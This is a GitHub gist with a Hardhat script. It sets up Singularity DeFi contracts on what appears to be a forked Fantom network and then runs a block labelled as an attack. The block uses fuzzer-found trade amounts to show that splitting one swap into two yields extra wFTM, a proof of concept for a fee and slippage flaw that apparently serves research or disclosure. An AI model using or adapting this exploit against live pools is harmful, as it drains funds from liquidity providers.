-
-
Save bsamuels453/bb360d59f1f8bfef4272a76d583fdbac to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const hre = require("hardhat"); | |
async function main() { | |
const [deployer] = await ethers.getSigners(); | |
function numToBN(number, decimals = 18) { | |
return ethers.utils.parseUnits(number.toString(), decimals); | |
} | |
const Oracle = await hre.ethers.getContractFactory("SingularityOracle"); | |
const adminAddress = deployer.address; | |
const oracle = await Oracle.deploy(adminAddress); | |
await oracle.deployed(); | |
console.log(`Oracle deployed to: ${oracle.address}`); | |
const Factory = await hre.ethers.getContractFactory("SingularityFactory"); | |
const trancheName = "Beta v4"; | |
const oracleAddress = oracle.address; | |
const feeToAddress = deployer.address; | |
const factory = await Factory.deploy(trancheName, adminAddress, oracleAddress, feeToAddress); | |
await factory.deployed(); | |
console.log(`Factory deployed to: ${factory.address}`); | |
let tx = await oracle.setOnlyUseChainlink(true); | |
await tx.wait() | |
console.log(`setOnlyUseChainlink`) | |
const usdc = "0x04068da6c83afcfa0e13ba15a6696662335d5b75"; | |
const dai = "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e"; | |
const wftm = "0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83"; | |
const FeedBuilder = await hre.ethers.getContractFactory("TestChainlinkFeed"); | |
const daiFeedBuilt = await FeedBuilder.deploy(numToBN(1,8)); | |
const wftmFeedBuilt = await FeedBuilder.deploy(numToBN(1,8)); | |
const daiFeed = daiFeedBuilt.address; | |
const wftmFeed = wftmFeedBuilt.address; | |
tx = await oracle.setChainlinkFeeds( | |
[dai, wftm], | |
[daiFeed, wftmFeed] | |
); | |
await tx.wait(); | |
console.log(`setChainlinkFeeds`) | |
const tokens = [ | |
{ | |
name: "DAI", | |
address: "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e", | |
fee: 0.0002, | |
isStable: true, | |
cap: numToBN(100000), | |
}, | |
{ | |
name: "WFTM", | |
address: "0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83", | |
fee: 0.0002, | |
isStable: true, | |
cap: numToBN(100000), | |
}, | |
]; | |
for (let i = 0; i < tokens.length; i++) { | |
const tokenAddress = tokens[i].address; | |
const isStablecoin = tokens[i].isStable; | |
const baseFee = numToBN(tokens[i].fee); | |
console.log(`fee: ${baseFee}`) | |
let tx = await factory.createPool(tokenAddress, isStablecoin, baseFee); | |
await tx.wait(); | |
const poolAddress = await factory.getPool(tokenAddress); | |
console.log(`${tokenAddress} pool deployed to: ${poolAddress}`); | |
} | |
await factory.setDepositCaps( | |
[tokens[0].address, tokens[1].address], | |
[tokens[0].cap, tokens[1].cap] | |
); | |
const Router = await hre.ethers.getContractFactory("SingularityRouter"); | |
const router = await Router.deploy(factory.address, wftm); | |
await factory.setRouter(router.address); | |
console.log(`factory set up`); | |
const Pool = await hre.ethers.getContractFactory("SingularityPool"); | |
//const usdcPoolAddress = await factory.getPool(usdc); | |
//const usdcPool = Pool.attach(usdcPoolAddress); | |
const daiPoolAddress = await factory.getPool(dai); | |
console.log(`pool resolved`); | |
const daiPool = Pool.attach(daiPoolAddress); | |
const uni = await hre.ethers.getContractAt("IUniswapV2Router01", "0xF491e7B69E4244ad4002BC14e878a34207E38c29", deployer); | |
// get 100 usdc in deployer wallet | |
//await uni.swapETHForExactTokens(numToBN(100, 6), [wftm, usdc], deployer.address, 2655157258, {value: numToBN(1000)}); | |
// approval to router | |
const wftmToken = await hre.ethers.getContractAt("IERC20", wftm); | |
await wftmToken.approve(router.address, numToBN(100, 18)); | |
console.log(`approval`); | |
// get 100 dai in deployer wallet | |
await uni.swapETHForExactTokens(numToBN(100, 18), [wftm, dai], deployer.address, 2655157258, {value: numToBN(1000)}); | |
// approval to router | |
const daiToken = await hre.ethers.getContractAt("IERC20", dai); | |
await daiToken.approve(router.address, numToBN(100, 18)); | |
// add 10usdc to usdc pool | |
await router.addLiquidityETH(0, deployer.address, 2655157258, {value:numToBN(1, 18)}); | |
// add 10 dai to dai pool | |
await router.addLiquidity(dai, numToBN(1, 18), 0, deployer.address, 2655157258) | |
// change the collateralization ratios of the two pools | |
await router.swapExactTokensForTokens(dai, wftm, ethers.BigNumber.from("510587198809863972"), 0, deployer.address, 2655157258); | |
/* start of attack */ | |
/* ---------------------- */ | |
// values acquired by fuzzer | |
let totalTradeAmount = ethers.BigNumber.from("378950999237219738"); | |
let firstTradeAmount = ethers.BigNumber.from("366783463300368544"); | |
let secondTradeAmount = totalTradeAmount.sub(firstTradeAmount); | |
let wftmOutTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).amountOut; | |
let slipInTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).slippageIn; | |
let slipOutTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).slippageOut; | |
let tradingFeeInTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).tradingFeeIn; | |
let tradingFeeOutTotal = (await router.getAmountOut(totalTradeAmount, dai, wftm)).tradingFeeOut; | |
let wFtmOut1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).amountOut; | |
let slipIn1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).slippageIn; | |
let slipOut1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).slippageOut; | |
let tradingFeeIn1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).tradingFeeIn; | |
let tradingFeeOut1 = (await router.getAmountOut(firstTradeAmount, dai, wftm)).tradingFeeOut; | |
//console.log(`Slippage1 if trading in 2 swap : ${slipIn1}`) | |
// exec swap | |
await router.swapExactTokensForTokens(dai, wftm, firstTradeAmount, 0, deployer.address, 2655157258); | |
let wFtmOut2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).amountOut; | |
//console.log(`wFtmOut2 Out if trading in 2 swaps: ${wFtmOut2}`) | |
let wFtmOutSeparate = wFtmOut1.add(wFtmOut2); | |
let slipIn2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).slippageIn; | |
let slipOut2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).slippageOut; | |
let tradingFeeIn2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).tradingFeeIn; | |
let tradingFeeOut2 = (await router.getAmountOut(secondTradeAmount, dai, wftm)).tradingFeeOut; | |
//console.log(`Slippage2 if trading in 2 swap : ${slipIn2}`) | |
console.log(`wFTM Out if trading in 2 swaps:`.padEnd(50) + (""+wFtmOutSeparate).padStart(25)) | |
console.log(`Slippage In if trading in 2 swaps: `.padEnd(50) + ("" + (slipIn1.add(slipIn2))).padStart(25)) | |
console.log(`Slippage Out if trading in 2 swaps: `.padEnd(50) + (""+(slipOut1.add(slipOut2))).padStart(25)) | |
console.log(`trading fees Out if trading in 2 swaps: `.padEnd(50) + ("" + (tradingFeeOut2.add(tradingFeeOut1))).padStart(25)) | |
console.log(`trading fees in if trading in 2 swaps: `.padEnd(50) + ("" + (tradingFeeIn1.add(tradingFeeIn2))).padStart(25)) | |
console.log(`--------------`) | |
console.log(`wFTM Out if trading in 1 swap : `.padEnd(50) + ("" +wftmOutTotal).padStart(25)) | |
console.log(`Slippage in if trading in 1 swap : `.padEnd(50) + ("" +(slipInTotal)).padStart(25)) | |
console.log(`Slippage out trading in 1 swap : `.padEnd(50) + ("" +slipOutTotal).padStart(25)) | |
console.log(`trading fees Out if trading in 1 swap:`.padEnd(50) + ("" +tradingFeeOutTotal).padStart(25)) | |
console.log(`trading fees in if trading in 1 swap: `.padEnd(50) + ("" +tradingFeeInTotal).padStart(25)) | |
console.log(`--------------`) | |
console.log(`benefit from splitting trade: `.padEnd(50) + ("" + (wFtmOutSeparate.sub(wftmOutTotal))).padStart(25)); | |
} | |
main() | |
.then(() => process.exit(0)) | |
.catch((error) => { | |
console.error(error); | |
process.exit(1); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment